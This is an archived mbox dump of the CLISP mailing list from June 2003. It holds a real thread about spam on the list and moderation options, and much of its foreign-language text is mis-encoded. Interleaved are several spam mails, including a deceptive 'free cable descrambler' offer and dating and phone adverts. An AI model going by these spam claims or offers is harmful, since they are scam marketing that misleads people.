`-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 ;; Loading file D:\sds\_clisprc ... ;; Loading file D:\sds\lisp\init.fas ... ;; Loading file D:\gnu\clocc\clocc.fas ... ;; Loaded file D:\gnu\clocc\clocc.fas ;; Loading file D:\gnu\clocc\src\cllib\base.fas ... ;; Loading file D:\gnu\clocc\src\port\ext.fas ... ;; Loaded file D:\gnu\clocc\src\port\ext.fas ;; Loading file D:\gnu\clocc\src\port\sys.fas ... ;; Loading file D:\gnu\clocc\src\port\path.fas ... ;; Loaded file D:\gnu\clocc\src\port\path.fas ;; Loaded file D:\gnu\clocc\src\port\sys.fas ;; Loaded file D:\gnu\clocc\src\cllib\base.fas ;; Loading file D:\gnu\clocc\src\cllib\auto.fas ... ;; Loaded file D:\gnu\clocc\src\cllib\auto.fas ;; Loaded file D:\sds\lisp\init.fas ;; Loaded file D:\sds\_clisprc [1]> (quit) Bye. t [2]> (quit) Bye. can it be that you are not passing some arguments, like stdio, to CreateProcess? at any rate, I am pretty sure this is a good question for a win32 newsgroup. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Stupidity, like virtue, is its own reward. From a3tm48@email.com Mon Jun 16 18:56:50 2003 Received: from [159.148.155.156] (helo=159.148.155.156) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19S5iL-0002cc-00 for ; Mon, 16 Jun 2003 18:56:49 -0700 From: 237582@mail.com X-Mailer: GoldMine [5.70.20404] Reply-To: 237582@mail.com Organization: 188884809 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list]  Ïîëèãðàôèÿ 1130287650 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 16 18:57:13 2003 X-Original-Date: Mon, 16 Jun 2003 20:59:25 -0500 Ïîëèãðàôèÿ

Óâàæàåìûå ãîñïîäà!
Ðàäû ñîîáùèòü Âàì, ÷òî â ìàå ñåãî ãîäà íàìè çàïóùåí â ïðîèçâîäñòâî ïîëèãðàôè÷åñêèé êîìïëåêñ îôñåòíîé ïå÷àòè íà áàçå îáîðóäîâàíèÿ ãåðìàíñêîé ôèðìû HEIDELBERG.
Ñîáñòâåííàÿ ïîëèãðàôè÷åñêàÿ áàçà ïîçâîëÿåò íàì îñóùåñòâëÿòü:

  • Îôñåòíóþ è öèôðîâóþ ïå÷àòü (ôîðìàò À3+);
  • Òèðàæèðîâàíèå íà ðèçîãðàôå;
  • Ôîëüãèðîâàíèå, ëàìèíàöèþ, òàìïîïå÷àòü;
  • È ìíîãîå äðóãîå...

 

Âèçèòêè - òèðàæèðîâàíèå îò 1 ýêç. - ïëàêàòû - êàëåíäàðè - ãðàìîòû - áóêëåòû - âîò òîëüêî íåáîëüøîé ïåðå÷åíü íàøåé ïðîäóêöèè.

Öåíû íà ïðîäóêöèþ ãèáêèå.
Êà÷åñòâî è ñðîêè ãàðàíòèðóåì!

Ñóùåñòâóåò ñèñòåìà ñêèäîê:

  • Êðóïíûì êëèåíòàì - êðóïíûå ñêèäêè.
  • Íå î÷åíü êðóïíûì - èíäèâèäóàëüíûé ïîäõîä.

Ìû æäåì ÂÀÑ!!!
òåë. 268-7873

237582 1C95A437-1F59225B-5235A34C-2AB54F24-3A74E757 537981946 From 55f9li0642qh@earthlink.net Mon Jun 16 22:45:55 2003 Received: from [218.0.108.2] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19S9Hz-0007VO-00; Mon, 16 Jun 2003 22:45:53 -0700 Received: from fxb.g1ima.net (HELO s44b) [31.33.144.183] by 66.35.250.206 with ESMTP id 05670372; Tue, 17 Jun 2003 15:47:26 +0600 Message-ID: From: "Aileen Walls" <55f9li0642qh@earthlink.net> To: clisp-devel@lists.sourceforge.net Cc: , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="_B.DB4A9D.18E9E062_.0" Subject: [clisp-list] Can you get TV for Free? pxvpr o Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 16 22:46:18 2003 X-Original-Date: Tue, 17 Jun 03 15:47:26 GMT This is a multi-part message in MIME format. --_B.DB4A9D.18E9E062_.0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable No More Paying for Movies & Events on CABLE! Free TV is Here! We will send you a free Cable Descrambler unlocking: * All New Movie Releases * Adult Movies * Wrestling, UFC, & Boxing PPV's * Live Music Concerts Is there a catch? You must purchase our Mini Keychain Breathalyzer for the small price of $39.95 But you need Digital Cable for this tiny device to work. (This will not work on DISH or DIRECTV.) With Digital Cable you must buy via the remote control for the filter to work. Don't have Digital Cable? Simply upgrade for the small fee as you will be getting $1000\'s of Free programming a month! A very worthwhile investment for YOUR Leisure time! You'll get this awesome little device PLUS a handy Mini Keychain Breathalyzer.... All this for ONLY $39.95! Click Below to get more Information & your Cable Filter Today (while supplies last): http://www.6fvvnj.com/cart/customer/product.php?productid=3D16153&partner=3D= affil21&r=3Dloa Click Below to be removed fom our mailing systems: http://www.6fvvnj.com/1/ atoaxcwaah iqe mo cht --_B.DB4A9D.18E9E062_.0-- From mailshot@onebiglove.com Tue Jun 17 04:27:42 2003 Received: from mta03-svc.ntlworld.com ([62.253.162.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SEcn-00071e-00 for ; Tue, 17 Jun 2003 04:27:41 -0700 Received: from smtp.ntlworld.com ([81.106.197.62]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.37 201-229-121-137-20020806) with SMTP id <20030617112738.NXJG2652.mta03-svc.ntlworld.com@smtp.ntlworld.com> for ; Tue, 17 Jun 2003 12:27:38 +0100 Message-Id: <1055799462.500@ntlworld.com> To: clisp-list@lists.sourceforge.net From: "OneBigLove" MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1"; format=flowed Subject: [clisp-list] Your Dates are Waiting ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 04:28:23 2003 X-Original-Date: Mon, 16 Jun 2003 22:37:42 0100 OneBigLove - The Worlds favorite Internet Dating Website

FREE DATING IN YOUR TOWN FOR THE NEXT 6 MONTHS

ONEBIGLOVE.com
 
FREE Registration!
FREE Site Use!
FREE Virtual Kisses!
6 Months FREE Contact Stamps
 
We apologise if you have recieved this email in error. We will be happy to remove you from our mailing list by simply replying to this email wth the word REMOVE in the subject line

Copyright © 2003 OneBigLove
From terrychick@hotmail.com Tue Jun 17 06:59:28 2003 Received: from cwb.pacific.net.hk ([202.14.67.92]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SGzd-0002LD-00 for ; Tue, 17 Jun 2003 06:59:25 -0700 Received: from localhost (ip24.bb168.pacific.net.hk [202.64.168.24]) by cwb.pacific.net.hk with ESMTP id h5HDxMY24279 for ; Tue, 17 Jun 2003 21:59:22 +0800 (CST) Message-Id: <200306171359.h5HDxMY24279@cwb.pacific.net.hk> X-Sender: terrychick@hotmail.com From: Terry To: clisp-list@sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: base64 X-MIME-Autoconverted: from 8bit to base64 by cwb.pacific.net.hk id h5HDxMY24279 Subject: [clisp-list] ¤ä«ù¾G¤j¯Z! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 07:00:10 2003 X-Original-Date: Tue, 17 Jun 2003 21:59:13 +0800 rbu05K1uprOopb3Xptul0SEhISEhDQoNCg== From z37ek.ve9u6@yahoo.com Tue Jun 17 07:34:00 2003 Received: from 211-241-181-100.rev.krline.net ([211.241.181.100] helo=kslee.nextsoft.co.kr) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SHX6-0003sk-00 for ; Tue, 17 Jun 2003 07:34:00 -0700 Received: from 198.169.224.58 (unverified [211.23.110.187]) by kslee.nextsoft.co.kr (EMWAC SMTPRS 0.83) with SMTP id ; Tue, 17 Jun 2003 23:20:11 +0900 Message-ID: From: =?Big5?B?tEC0QA==?= To: "." Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; charset="BIG-5" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Reply-To: z37ek.ve9u6@yahoo.com X-Priority: 3 X-Library: Indy 9.00.10 X-Mailer:Dynamailer V 8.0 X-MimeOLE:Produced By Mircosoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] =?Big5?B?p9qtzKZupFuoU7NztbikRqdBwdmwT7Fvp9q23D8=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 07:34:18 2003 X-Original-Date: Tue, 17 Jun 2003 22:12:58 +0800 This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable charset="BIG-5" --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html Content-Transfer-Encoding: 7bit charset="BIG-5" ·s¼Wºô­¶1

    ±ý¨ú®ø­q¾\, ½Ð«ö¦¹³sµ²

--=_NextPart_2rfkindysadvnqw3nerasdf-- From marcoxa@cs.nyu.edu Tue Jun 17 08:45:56 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19SIec-0000Tq-00 for ; Tue, 17 Jun 2003 08:45:50 -0700 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id EB4B919DA3 for ; Tue, 17 Jun 2003 11:45:09 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Spam on the list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 08:46:12 2003 X-Original-Date: Tue, 17 Jun 2003 11:45:33 -0400 Hi I have noticed an increasing amount of spam on the list. Is there anything the SF people can do? -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From samuel.steingold@verizon.net Tue Jun 17 08:58:22 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SIqa-0006pG-00 for ; Tue, 17 Jun 2003 08:58:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5HFw5j29654; Tue, 17 Jun 2003 11:58:05 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Spam on the list References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 08:59:08 2003 X-Original-Date: 17 Jun 2003 11:58:05 -0400 > * In message > * On the subject of "[clisp-list] Spam on the list" > * Sent on Tue, 17 Jun 2003 11:45:33 -0400 > * Honorable Marco Antoniotti writes: > > I have noticed an increasing amount of spam on the list. Is there > anything the SF people can do? yes - they can feed everything that goes through their servers into spam assassin or similar, so that the users will be able to filter the garbage out. [ 652295 ] spam filtering needed! -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Why do we want intelligent terminals when there are so many stupid users? From lisp-clisp-list@m.gmane.org Tue Jun 17 10:01:52 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SJqA-0004Yp-00 for ; Tue, 17 Jun 2003 10:01:50 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19SJp7-0003dE-00 for ; Tue, 17 Jun 2003 19:00:45 +0200 Mail-Followup-To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19SJZN-0002FO-00 for ; Tue, 17 Jun 2003 18:44:29 +0200 From: Michael Livshin Organization: The Church of God the Utterly Indifferent Lines: 24 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org Mail-copies-to: never User-Agent: Gnus/5.090011 (Oort Gnus v0.11) Emacs/21.3.50 (i686-pc-linux-gnu) Cancel-Lock: sha1:bdYc4Pozc6zwcK5QmAa3/slMdJc= Subject: [clisp-list] Re: Spam on the list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 10:02:21 2003 X-Original-Date: Tue, 17 Jun 2003 19:44:28 +0300 Sam Steingold writes: >> * In message >> * On the subject of "[clisp-list] Spam on the list" >> * Sent on Tue, 17 Jun 2003 11:45:33 -0400 >> * Honorable Marco Antoniotti writes: >> >> I have noticed an increasing amount of spam on the list. Is there >> anything the SF people can do? > > yes - they can feed everything that goes through their servers into spam > assassin or similar, so that the users will be able to filter the > garbage out. either that, or making posting only available to subscribers. but that would not be nice to us gmane users (but but if there's an ability to subscribe without actually getting any messages, that could work OK). -- This program posts news to billions of machines throughout the galaxy. Your message will cost the net enough to bankrupt your entire planet. As a result your species will be sold into slavery. Be sure you know what you are doing. Are you absolutely sure you want to do this? [yn] y From samuel.steingold@verizon.net Tue Jun 17 10:19:18 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SK71-0001uS-00 for ; Tue, 17 Jun 2003 10:19:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5HHJ8j13564 for ; Tue, 17 Jun 2003 13:19:08 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Spam on the list References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 10:20:04 2003 X-Original-Date: 17 Jun 2003 13:19:08 -0400 > * In message > * On the subject of "[clisp-list] Re: Spam on the list" > * Sent on Tue, 17 Jun 2003 19:44:28 +0300 > * Honorable Michael Livshin writes: > > Sam Steingold writes: > > >> I have noticed an increasing amount of spam on the list. Is there > >> anything the SF people can do? > > > > yes - they can feed everything that goes through their servers into spam > > assassin or similar, so that the users will be able to filter the > > garbage out. > > either that, or making posting only available to subscribers. this is no good for bug reporting reasons. first time users should be able to get through easily. > but that would not be nice to us gmane users (but but if there's an > ability to subscribe without actually getting any messages, that could > work OK). you can disable delivery to your mail address using a nice web interface. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Lisp: Serious empowerment. From traverso@posso.dm.unipi.it Tue Jun 17 11:40:56 2003 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[1GDqdEg8GhvlczquitN+qZ4ZWTlNOSgK]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SLO2-0005LZ-00 for ; Tue, 17 Jun 2003 11:40:54 -0700 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h5HIf1707242; Tue, 17 Jun 2003 20:41:01 +0200 Message-Id: <200306171841.h5HIf1707242@posso.dm.unipi.it> From: Carlo Traverso To: clisp-list@lists.sourceforge.net In-reply-to: (message from Michael Livshin on Tue, 17 Jun 2003 19:44:28 +0300) Subject: Re: [clisp-list] Re: Spam on the list Reply-To: traverso@dm.unipi.it References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 11:41:14 2003 X-Original-Date: Tue, 17 Jun 2003 20:41:01 +0200 >>>>> ">" == Michael Livshin writes: >> Sam Steingold writes: >>> * In message >>> * On the subject of "[clisp-list] Spam on the list" * Sent on >>> Tue, 17 Jun 2003 11:45:33 -0400 * Honorable Marco Antoniotti >>> writes: >>> >>> I have noticed an increasing amount of spam on the list. Is >>> there anything the SF people can do? >> yes - they can feed everything that goes through their servers >> into spam assassin or similar, so that the users will be able >> to filter the garbage out. >> either that, or making posting only available to subscribers. >> but that would not be nice to us gmane users (but but if >> there's an ability to subscribe without actually getting any >> messages, that could work OK). The most effective way would be to allow subscribers to post immediately, and non-subscriber messages to require authorization of a moderator. Usually the mailing list software allowws to set this option. Carlo Traverso From samuel.steingold@verizon.net Tue Jun 17 11:45:56 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SLSt-0000Gr-00 for ; Tue, 17 Jun 2003 11:45:55 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5HIjlj01638; Tue, 17 Jun 2003 14:45:48 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: traverso@dm.unipi.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Spam on the list References: <200306171841.h5HIf1707242@posso.dm.unipi.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200306171841.h5HIf1707242@posso.dm.unipi.it> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 17 11:46:15 2003 X-Original-Date: 17 Jun 2003 14:45:47 -0400 > * In message <200306171841.h5HIf1707242@posso.dm.unipi.it> > * On the subject of "Re: [clisp-list] Re: Spam on the list" > * Sent on Tue, 17 Jun 2003 20:41:01 +0200 > * Honorable Carlo Traverso writes: > > The most effective way would be to allow subscribers to post > immediately, and non-subscriber messages to require authorization of a > moderator. Usually the mailing list software allowws to set this > option. do you volunteer to be the moderator? note that the unsubscribed user will probably send many replies in the ensuing discussion and you will have to approve her messages promptly so that the other users will see them in time. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux MS Windows: error: the operation completed successfully. From 168@ms8.hinet.net Wed Jun 18 03:06:25 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19SZph-0002IT-00 for ; Wed, 18 Jun 2003 03:06:25 -0700 Received: from kh218-187-191-136.adsl.pl.apol.com.tw ([218.187.191.136]:64894 helo=ms8.hinet.net) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19SZp8-0005uk-CX for ; Wed, 18 Jun 2003 03:05:50 -0700 From: 168@ms8.hinet.net To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_mxQAtt76_FeD13U4c_MA" Message-Id: X-EA-Verified: externalmx.vasoftware.com 19SZp8-0005uk-CX 68ab53259798a211b56f26c018b746f8 X-Spam-Score: 6.5 Subject: [clisp-list] =?ISO-8859-1?B?rVC0Saq6pECryqtI?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 18 03:07:12 2003 X-Original-Date: 18 Jun 2003 18:10:02 +0800 ------=_mxQAtt76_FeD13U4c_MA Content-Type: text/plain Content-Transfer-Encoding: 8bit -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- ------=_mxQAtt76_FeD13U4c_MA Content-Type: text/html Content-Transfer-Encoding: 8bit ¬°¤°»ò¤@ª½¸ò¦Û¤v¹L¤£¥h©O

                                           

¬°¤°»ò¤@ª½¸ò¦Û¤v¹L¤£¥h©O

¤£¬O¾á¤ß§ä¤£¨ì¤u§@ 

´N¬O¾á¤ß´º®ð¤£¦n¤U¤@­Óµô­û¦³¨S¦³¥i¯à¬O§A

¤£¾á¤ßµô­û´N«è¦¬¤J¤£¦n

¤Ï¥¿¶V§V¤O¦ÑÁ󨮤l¶V¤j 

¶V§V¤O    ¦ÑÁó©Ð¤l¶V¤j

­þ­Ó®É­Ô§â¦Û¤vªº»ù­È¯dµ¹¦Û¤v©O

¤H¥Íªºªø«×©Î³\§Ú­Ì¤£¯à±±¨î     ¦ý¼e«×§Ú­Ì¥i¥H¦Û¤v´x´¤  ¿ï¾ÜÅý¤H¥ÍÅܪººëªö

¡@

¡@

------=_mxQAtt76_FeD13U4c_MA-- From c32bbq0@delphi.com Wed Jun 18 04:36:16 2003 Received: from [211.183.247.172] (helo=211.183.247.172) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19SbEb-0006Cu-00 for ; Wed, 18 Jun 2003 04:36:14 -0700 From: 237606@mail.com X-Mailer: GoldMine [5.70.20404] Reply-To: 237606@bigfoot.com Organization: 1054339851 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Ñóïåð òåëåôîíû ïî ñàìîé íèçêîé öåíå â Ìîñêâå! 237606 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 18 04:37:12 2003 X-Original-Date: Wed, 18 Jun 2003 03:35:00 -0400 Untitled
Ñóïåð òåëåôîíû ïî ñàìîé íèçêîé öåíå â Ìîñêâå!

NOKIA 7210 - 260$
Ðàçìåðû: 106x45x17,5 ìì
Âåñ: 83 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
-  ðåæèìå îæèäàíèÿ: äî 240 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 4 ÷àñîâ
Öâåòíîé äèñïëåé
Stereo FM ðàäèî â ñòàíäàðòíîé ïîñòàâêå
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà
MMS
GPRS
Ïîääåðæêà J2ME
Pop-Port™
IrDA
Ñìåííûå ïàíåëè Xpress-on
Panasonic gd 55 - 180$
Ðàçìåðû: 77x49x16.9 ìì
Âåñ: 65 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
-  ðåæèìå îæèäàíèÿ: äî 230 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 7.9 ÷àñîâ
Ïîëèôîíè÷åñêèå ìåëîäèè
GPRS
WAP
Ãðîìêàÿ ñâÿçü
Siemens sl 55 - 600$
Ðàçìåðû: 81,6õ44,5õ21,9 ìì
Âåñ: 79 ã.
Âðåìÿ ðàáîòû:
(Li-Ion 500 ìÀ÷)
- â ðåæèìå îæèäàíèÿ: 200÷
- â ðåæèìå ðàçãîâîðà: 3,5 ÷
Ñäâèæíîé êîðïóñ
Öâåòíîé äèñïëåé
Ïîëèôîíè÷åñêèå ìåëîäèè
Java2ME
GPRS
MMS
IrDA
Âîçìîæíîñòü ïîäêëþ÷åíèÿ öèôðîâîé ôîòîêàìåðû
Siemens s55 c êàìåðîé è êàáåëåì - 360$
Ðàçìåðû: 101x42x18 ìì
Âåñ: 85 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
- Â ðåæèìå îæèäàíèÿ: äî 12 äíåé
-  ðåæèìå ðàçãîâîðà: äî 6 ÷àñîâ
Öâåòíîé äèñïëåé
Ïîëèôîíè÷åñêèå ìåëîäèè
J2ME
IrDA
GPRS
Bluetooth
MMS
Motorola t720i - 215$
Ðàçìåðû: 90x47,5x21,3 ìì
Âåñ: 100 ã.
Âðåìÿ ðàáîòû (Li-Ion 550 mAh / 750 mAh):
-  ðåæèìå îæèäàíèÿ: äî 170 ÷àñîâ
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ
Öâåòíîé äèñïëåé
GPRS
EMS
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà
Java2Micro Edition (J2ME)
Òèï êîðïóñà - "êíèæêà"
Ñìåííûå ïàíåëè
Samsung a800 - 225$
Ðàçìåðû: 80x42x22 ìì
Âåñ: 68 ã.
Âðåìÿ ðàáîòû: (Li-Ion 750 mAh)
-  ðåæèìå îæèäàíèÿ: äî 150 ÷àñîâ
